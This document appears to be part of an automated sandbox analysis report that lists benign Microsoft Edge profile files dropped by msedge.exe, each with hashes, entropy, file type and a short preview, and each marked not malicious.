MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.256850127224679
Encrypted:	false
SSDEEP:	12:ENc4vVaYeb8rcHEZrELFUt8PNrJ/+PNoND5OaYeb8rcHEZrEZSJ:EVVaYeb8nZrExg8PAOXOaYeb8nZrEZe
MD5:	3864C0ADBF5C8CDB28F3FDB3B73E2E13
SHA1:	C478EAC6EC5C073FB29C156E32FD1CA862602768
SHA-256:	1F42E840C937DB5A99E374C4B48DE28B8F1104A1BF7C119BFF73823A33741896
SHA-512:	90C0C0F060274A1635AF0D108455869F40452EA7B312EA207FB62B866646FAF8CED9395ECAAE8BBE81A433F75E969D080FE9B9EDC676DC266A853830C9B1060C
Malicious:	false
Preview:	2024/10/27-21:07:33.110 1868 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/27-21:07:33.111 1868 Recovering log #3.2024/10/27-21:07:33.112 1868 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.256850127224679
Encrypted:	false
SSDEEP:	12:ENc4vVaYeb8rcHEZrELFUt8PNrJ/+PNoND5OaYeb8rcHEZrEZSJ:EVVaYeb8nZrExg8PAOXOaYeb8nZrEZe
MD5:	3864C0ADBF5C8CDB28F3FDB3B73E2E13
SHA1:	C478EAC6EC5C073FB29C156E32FD1CA862602768
SHA-256:	1F42E840C937DB5A99E374C4B48DE28B8F1104A1BF7C119BFF73823A33741896
SHA-512:	90C0C0F060274A1635AF0D108455869F40452EA7B312EA207FB62B866646FAF8CED9395ECAAE8BBE81A433F75E969D080FE9B9EDC676DC266A853830C9B1060C
Malicious:	false
Preview:	2024/10/27-21:07:33.110 1868 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/27-21:07:33.111 1868 Recovering log #3.2024/10/27-21:07:33.112 1868 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	5.6882249530580715
Encrypted:	false
SSDEEP:	48:qZmhEbvW3XZqQV03Sx4ZUws0Ou3fHHQ2ztPFX:q0Qvi8mwjZRJ
MD5:	6C206A1A86513BCCEAE17FE5494868CF
SHA1:	51402088DDC27446F8F665CF184190D26576B6EE
SHA-256:	2EF71D0E1EBD12F9C7394576B3E98E40956E7B122C115C6B0CDA14BE838C042A
SHA-512:	1D5A3014D3B1519A54E3647C452167A5C185A829F66C29797976AC2A5AC89F9B1C5194426E6D0AACEC7A8475D975004E972FCF2A9D956B3D1F963054982B552D
Malicious:	false
Preview:	...`\|................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":488}.!_https://ntp.msn.com..LastKnownPV..1730077658574.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730077659951.._https://ntp.msn.com..MUID!.335586F4D9E8607124F893D2D81961F7.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730077658686,"schedule":[-1,-1,-1,-1,34,12,33],"scheduleFixed":[-1,-1,-1,-1,34,12,33],"simpleSchedule":[27,50,33,38,12,49,22]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730077658542.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241025.434"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.149696135073607
Encrypted:	false
SSDEEP:	6:1sC79+q2PN723oH+Tcwt8a2jMGIFUt8ksCXANJZmw+ksCd9VkwON723oH+Tcwt8N:v74vVaYeb8EFUt8kXANJ/+kdD5OaYebw
MD5:	D49228627188FC09826A237DAAD1B625
SHA1:	33374F105F05638C96AECA61A2C901B77728FFCB
SHA-256:	AD442D75A70CAA2071C7FC123DD82DF1BE6101662C359597FBCCDA67730801AA
SHA-512:	2EAEB59D49E516FBB3CF6C7A187AC608BACDA1AF2023E53EE4065ACA179D31FA6E92C74E030BD5A98321C44F93B9097422D8CA0DCA50A5C2E3DB883527542E4B
Malicious:	false
Preview:	2024/10/27-21:07:29.791 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/27-21:07:29.792 1db8 Recovering log #3.2024/10/27-21:07:29.797 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.149696135073607
Encrypted:	false
SSDEEP:	6:1sC79+q2PN723oH+Tcwt8a2jMGIFUt8ksCXANJZmw+ksCd9VkwON723oH+Tcwt8N:v74vVaYeb8EFUt8kXANJ/+kdD5OaYebw
MD5:	D49228627188FC09826A237DAAD1B625
SHA1:	33374F105F05638C96AECA61A2C901B77728FFCB
SHA-256:	AD442D75A70CAA2071C7FC123DD82DF1BE6101662C359597FBCCDA67730801AA
SHA-512:	2EAEB59D49E516FBB3CF6C7A187AC608BACDA1AF2023E53EE4065ACA179D31FA6E92C74E030BD5A98321C44F93B9097422D8CA0DCA50A5C2E3DB883527542E4B
Malicious:	false
Preview:	2024/10/27-21:07:29.791 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/27-21:07:29.792 1db8 Recovering log #3.2024/10/27-21:07:29.797 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\12c56608-f134-4aac-988a-314ab51388a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3858924b-b519-4139-8143-c8cef86308b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\715525f6-5877-4404-8f87-430ad384eb52.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.008141397238462
Encrypted:	false
SSDEEP:	192:tT1rhST+FNVL3XwdjxiPbkIQJVejnImUYO0B/zbl0b:V1NIcLHwdjxDIJIma0B7bl0b
MD5:	77AACDBA5EA69339D9088CC1CED5D4EB
SHA1:	CD27C3DDA68887D0E7B697A543100EC377C362C4
SHA-256:	317D563E522388FE65864F5E61E980CB949A7B1F827BA1FCAFEEEA3990479A82
SHA-512:	87C460085882105F6EAB1FB440107F1A0DAC3FA8EA8F4F17B37B1D4CD95A0E8EF92768AF29E8DA6BC1795059D06963BF36891A4BF47C588EE2434381C9DDE147
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4bb8c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.6334765912665838
Encrypted:	false
SSDEEP:	96:ifIEumQv8m1ccnvS62Svi1moIUaOSBEscmy1a:ifIEumQv8m1ccnvS6+AoNabBAmx
MD5:	4891E60EB278FA40457F8223F3EC815B
SHA1:	ADFED86F2B1F74C84ED4CC615FDEE978FBC3559B
SHA-256:	E6CE66BF65531AB8AC4682C36A6116FB378C8FCC6C8C13977738A11F18EAA872
SHA-512:	69B364D6B6C5018C296EB150E4FFF03AB0367B8B1CC2A692D4685CC7F335783E3C560E9ED6291055D6A71ABC763746B5545171C64E2A55155917344B5CE5A4EB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3afe8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c4f7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a35e416b-e2c4-40a3-983a-a01302e5e6a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\bc43f46b-47c5-4ea5-8691-f4cbcd2c098f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f6f0868f-7e76-46a4-bb4c-a7ff11d8161a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	5.295751451632233
Encrypted:	false
SSDEEP:	48:YcCpfgCzsFIyRtsFItfc7akEspCgHpJsWCgHYYhbj:F2fSFRSm2aklTppT5h/
MD5:	91476E44688995CCC43CC84A21601286
SHA1:	EEBE0A30A72E599F01FFF8CF1A6CEE7190CEE9C1
SHA-256:	BD431A18817021FA078447D59C094B127F8F3A936D11534EE9F00B63A060AA13
SHA-512:	38B4C2E54E8066B545D965EAB1CC3212F39E62BF9B954493A0BF154949DE9C1FA370D5CF408679A9A3863283553E5DA907EDB4B5A52644FA699D69C8F695B725
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377143252196784","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377143254544803","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13244
Entropy (8bit):	5.220470013887028
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypDsbsaFvrE9kSeBzHkK8dbV+FJ7QASUiPAYJ:stKPGQSu4DsbsCDkeobGdQYy
MD5:	0C908E9E0B8FCFE0AF7C4F1EBFC9EE71
SHA1:	3B16F1A883DC398F825189DE3045045A3D9B9101
SHA-256:	9612840E451A923E461F3E8C37FCAE8B00899BA7BDA7FFA8A71CFA70B3572B96
SHA-512:	0AE9FD0B12268B395ACC3A6212BB66A0833C72FD727B6084D18FF58EE01D45E6B70DD007DCD2AAE98153184B8CF64282E2974F00B149B00BA27A9D9E59279468
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ee39.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13244
Entropy (8bit):	5.220470013887028
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypDsbsaFvrE9kSeBzHkK8dbV+FJ7QASUiPAYJ:stKPGQSu4DsbsCDkeobGdQYy
MD5:	0C908E9E0B8FCFE0AF7C4F1EBFC9EE71
SHA1:	3B16F1A883DC398F825189DE3045045A3D9B9101
